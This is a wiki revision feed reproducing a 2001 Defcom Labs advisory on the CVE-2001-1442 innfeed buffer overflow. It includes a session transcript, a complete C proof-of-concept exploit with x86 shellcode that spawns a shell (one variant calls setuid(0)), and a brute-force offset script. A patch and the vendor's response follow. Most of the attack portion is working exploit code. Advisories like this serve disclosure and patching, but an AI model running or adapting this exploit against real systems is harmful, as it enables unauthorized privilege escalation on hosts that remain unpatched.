<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2001-1442_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2001-1442 緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2001-1442_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2001-1442_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T22:08:01Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2001-1442_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=795&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== &lt;pre&gt; ======================================================================                  Defcom Labs Advisory def-2001-19                  innfeed buffer overflo...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2001-1442_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=795&amp;oldid=prev"/>
		<updated>2021-03-31T06:44:16Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== &amp;lt;pre&amp;gt; ======================================================================                  Defcom Labs Advisory def-2001-19                  innfeed buffer overflo...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
======================================================================&lt;br /&gt;
                 Defcom Labs Advisory def-2001-19&lt;br /&gt;
&lt;br /&gt;
                innfeed buffer overflow&lt;br /&gt;
&lt;br /&gt;
Author: Enrique A. Sanchez Montellano &amp;lt;@defcom.com&amp;gt;&lt;br /&gt;
Author: Alex Hernandez &amp;lt;alex.hernandez@defcom.com&amp;gt;&lt;br /&gt;
Release Date: 2001-04-18&lt;br /&gt;
======================================================================&lt;br /&gt;
------------------------=[Brief Description]=-------------------------&lt;br /&gt;
innfeed is a program that implements the NNTP protocol for transerring&lt;br /&gt;
news between computers.&lt;br /&gt;
&lt;br /&gt;
Due to no bounds checking on the innfeed program a buffer overflow&lt;br /&gt;
occurs while using the -c flag, thus rendering complete control&lt;br /&gt;
of the stack. And rendering news uid and gid.&lt;br /&gt;
&lt;br /&gt;
------------------------=[Affected Systems]=--------------------------&lt;br /&gt;
Linux:&lt;br /&gt;
   Slackware 7.1 and older versions.&lt;br /&gt;
   Mandrake 7.0 and older versions.&lt;br /&gt;
   RedHat 7.2 and older versions.&lt;br /&gt;
&lt;br /&gt;
----------------------=[Detailed Description]=------------------------&lt;br /&gt;
Due to no bounds checking on the logOrPrint() function on the vsprint()&lt;br /&gt;
a stack overflow occurs thus rendering the stack. The user then is able&lt;br /&gt;
to gain news id, in wich he can the trojan binaries to gain further&lt;br /&gt;
access to upgrade his priviledges.&lt;br /&gt;
&lt;br /&gt;
Users trusted to group id can gain further access to news uid thus&lt;br /&gt;
gaining owner priviledges on the files and being able to trojan them&lt;br /&gt;
in some cases. And if root runs those binaries a root compromise might&lt;br /&gt;
be posible.&lt;br /&gt;
&lt;br /&gt;
Offending code:&lt;br /&gt;
---------------&lt;br /&gt;
&lt;br /&gt;
vsprintf (buffer,fmt,ap) ;&lt;br /&gt;
&lt;br /&gt;
Example of exploitation:&lt;br /&gt;
------------------------&lt;br /&gt;
&lt;br /&gt;
nahual@shell:~$ ls -al /usr/lib/news/bin/innfeed&lt;br /&gt;
-r-xr-x---   1 news     news       213124 Jun 14  2000 &lt;br /&gt;
/usr/lib/news/bin/innfeed*&lt;br /&gt;
nahual@shell:~$ ls -al /usr/lib/news/bin/startinnfeed&lt;br /&gt;
-r-sr-x---   1 root     news        40796 Jun 14  2000 &lt;br /&gt;
/usr/lib/news/bin/startinnfeed*&lt;br /&gt;
nahual@shell:~$ id&lt;br /&gt;
uid=1001(nahual) gid=100(users) groups=100(users),13(news)&lt;br /&gt;
nahual@shell:~$ ./x-innfeed&lt;br /&gt;
[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]&lt;br /&gt;
------------------------------------------------------------&lt;br /&gt;
[ + ] Found by:&lt;br /&gt;
&lt;br /&gt;
[ + ] Alex Hernandez (alex.hernandez@defcom.com)&lt;br /&gt;
[ + ] Enrique Sanchez (@defcom.com ... Yes is just @defcom.com)&lt;br /&gt;
[ + ] Defcom Labs @ Spain ....&lt;br /&gt;
[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)&lt;br /&gt;
&lt;br /&gt;
[ + ] Using address 0xbffff9e4&lt;br /&gt;
[ + ] Starting exploitation ...&lt;br /&gt;
&lt;br /&gt;
bash$ id&lt;br /&gt;
uid=9(news) gid=13(news) groups=100(users),13(news)&lt;br /&gt;
bash$&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Proof of concept code:&lt;br /&gt;
----------------------&lt;br /&gt;
&lt;br /&gt;
--- x-startinnfeed.c ---&lt;br /&gt;
/*&lt;br /&gt;
  x-innfeed.c&lt;br /&gt;
&lt;br /&gt;
  Buffer overflow in innfeed being called from startinnfeed renders &lt;br /&gt;
uid(news) gid(news), startinnfeed is suid root so I have to also check &lt;br /&gt;
if I can manage to get root out of this ....&lt;br /&gt;
&lt;br /&gt;
  Enrique A. Sanchez Montellano&lt;br /&gt;
  (@defcom.com ... Yes is only @defcom.com)&lt;br /&gt;
*/&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define OFFSET  0&lt;br /&gt;
#define ALIGN   0&lt;br /&gt;
#define BUFFER  470&lt;br /&gt;
&lt;br /&gt;
// MANDRAKE, REDHAT, etc....&lt;br /&gt;
&lt;br /&gt;
#ifdef REDHAT&lt;br /&gt;
/* optimized shellcode ;) (got rid of 2 bytes from aleph1's) */&lt;br /&gt;
//static char shellcode[]=&lt;br /&gt;
//&amp;quot;\xeb\x15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh&amp;quot;;&lt;br /&gt;
char shellcode[] = &amp;quot;\x31\xdb\x89\xd8\xb0\x17\xcd\x80&amp;quot; /*setuid(0) */&lt;br /&gt;
             &amp;quot;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c&amp;quot;&lt;br /&gt;
             &amp;quot;\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb&amp;quot;&lt;br /&gt;
             &amp;quot;\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
#endif&lt;br /&gt;
&lt;br /&gt;
#ifdef SLACKWARE&lt;br /&gt;
/* optimized shellcode for slackware 7.0 (non setuid(getuid()) shell) */&lt;br /&gt;
static char shellcode[]=&lt;br /&gt;
&amp;quot;\xeb\x15\x5b\x89\x5b\x0b\x31\xc0\x88\x43\x0a\x89\x43\x0f\xb0\x0b\x8d\x4b\x0b\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/bash1&amp;quot;;&lt;br /&gt;
#endif&lt;br /&gt;
&lt;br /&gt;
unsigned long get_sp(void) {&lt;br /&gt;
  __asm__(&amp;quot;movl %esp, %eax&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void usage(char *name) {&lt;br /&gt;
  printf(&amp;quot;Usage: %s &amp;lt;offset&amp;gt; &amp;lt;align&amp;gt; &amp;lt;buffer&amp;gt;\n&amp;quot;, name);&lt;br /&gt;
  printf(&amp;quot;Defcom Labs @ Spain ...\n&amp;quot;);&lt;br /&gt;
  printf(&amp;quot;Enrique A. Sanchez Montellano (@defcom.com)\n&amp;quot;);&lt;br /&gt;
  exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char **argv) {&lt;br /&gt;
  char *code;&lt;br /&gt;
  int offset = OFFSET;&lt;br /&gt;
  int align = ALIGN;&lt;br /&gt;
  int buffer = BUFFER;&lt;br /&gt;
  unsigned long addr;&lt;br /&gt;
  int i;&lt;br /&gt;
&lt;br /&gt;
  if(argc &amp;gt; 1) offset = atoi(argv[1]);&lt;br /&gt;
  if(argc &amp;gt; 2) align = atoi(argv[2]);&lt;br /&gt;
  if(argc &amp;gt; 3) buffer = atoi(argv[3]);&lt;br /&gt;
&lt;br /&gt;
  code = (char *)malloc(buffer);&lt;br /&gt;
&lt;br /&gt;
  printf(&amp;quot;[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]\n&amp;quot;);&lt;br /&gt;
  printf(&amp;quot;------------------------------------------------------------\n&amp;quot;);&lt;br /&gt;
  printf(&amp;quot;[ + ] Found by: \n\n[ + ] Alex Hernandez &lt;br /&gt;
(alex.hernandez@defcom.com) \n[ + ] Enrique Sanchez (@defcom.com ... Yes &lt;br /&gt;
is just @defcom.com)\n&amp;quot;);&lt;br /&gt;
  printf(&amp;quot;[ + ] Defcom Labs @ Spain ....\n&amp;quot;);&lt;br /&gt;
  printf(&amp;quot;[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
  addr = get_sp() - offset;&lt;br /&gt;
&lt;br /&gt;
  printf(&amp;quot;[ + ] Using address 0x%x\n&amp;quot;, addr);&lt;br /&gt;
&lt;br /&gt;
  for(i = 0; i &amp;lt;= buffer; i += 4) {&lt;br /&gt;
   *(long *)&amp;amp;code[i] = 0x90909090;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  *(long *)&amp;amp;code[buffer - 4] = addr;&lt;br /&gt;
  *(long *)&amp;amp;code[buffer - 8] = addr;&lt;br /&gt;
&lt;br /&gt;
  memcpy(code + buffer - strlen(shellcode) -8 - align, shellcode, &lt;br /&gt;
strlen(shellcode));&lt;br /&gt;
&lt;br /&gt;
  printf(&amp;quot;[ + ] Starting exploitation ... \n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
  // REDHAT, MANDRAKE ...&lt;br /&gt;
#ifdef REDHAT&lt;br /&gt;
  execl(&amp;quot;/usr/bin/startinnfeed&amp;quot;, &amp;quot;/usr/bin/startinnfeed&amp;quot;, &amp;quot;-c&amp;quot;, code, NULL);&lt;br /&gt;
#endif&lt;br /&gt;
&lt;br /&gt;
  // SLACKWARE&lt;br /&gt;
#ifdef SLACKWARE&lt;br /&gt;
  execl(&amp;quot;/usr/lib/news/bin/startinnfeed&amp;quot;, &lt;br /&gt;
&amp;quot;/usr/lib/news/bin/startinnfeed&amp;quot;, &amp;quot;-c&amp;quot;, code, NULL);&lt;br /&gt;
#endif&lt;br /&gt;
&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
--- x-startinnfeed.c ---&lt;br /&gt;
&lt;br /&gt;
--- brute.sh ---&lt;br /&gt;
#!/bin/ksh&lt;br /&gt;
L=-2000&lt;br /&gt;
O=40&lt;br /&gt;
while [ $L -lt 12000 ]&lt;br /&gt;
do&lt;br /&gt;
echo $L&lt;br /&gt;
L=`expr $L + 1`&lt;br /&gt;
./x-startinnfeed $L &lt;br /&gt;
done&lt;br /&gt;
--- brute.sh ---&lt;br /&gt;
&lt;br /&gt;
---------------------------=[Workaround]=-----------------------------&lt;br /&gt;
Defcom has issued a patch for the vulnerability:&lt;br /&gt;
&lt;br /&gt;
---innfeed-overflow.patch---&lt;br /&gt;
210c210&lt;br /&gt;
&amp;lt;       vsprintf (buffer,fmt,ap) ;&lt;br /&gt;
---&lt;br /&gt;
 &amp;gt;       vsnprintf (buffer,512,fmt,ap) ;&lt;br /&gt;
---innfeed-overflow.patch---&lt;br /&gt;
&lt;br /&gt;
The recomended action is to upgrade to version 2.3.1 wich is not&lt;br /&gt;
vulnerable to this attack due that you have to be news to execute the&lt;br /&gt;
script.&lt;br /&gt;
&lt;br /&gt;
root should not run any of this commands as an administrative task&lt;br /&gt;
trusted users should do this.&lt;br /&gt;
&lt;br /&gt;
-------------------------=[Vendor Response]=--------------------------&lt;br /&gt;
inn-bugs, Katshiro Kondou, and Russ Allbery responded in a fast&lt;br /&gt;
and swift way, answering questions.&lt;br /&gt;
&lt;br /&gt;
Thank you to him and all the INN team for their time and responses.&lt;br /&gt;
======================================================================&lt;br /&gt;
        This release was brought to you by Defcom Labs @ Spain&lt;br /&gt;
&lt;br /&gt;
             labs@defcom.com             www.defcom.com           &lt;br /&gt;
======================================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==brute.sh==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#!/bin/ksh&lt;br /&gt;
L=-2000&lt;br /&gt;
O=40&lt;br /&gt;
while [ $L -lt 12000 ]&lt;br /&gt;
do&lt;br /&gt;
echo $L&lt;br /&gt;
L=`expr $L + 1`&lt;br /&gt;
./x-startinnfeed $L &lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>